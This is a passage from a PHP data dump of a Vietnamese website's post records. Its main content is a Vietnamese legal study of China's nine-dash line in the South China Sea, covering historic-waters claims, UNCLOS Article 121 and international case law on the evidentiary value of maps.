'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '703', 'rght' => '704', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các 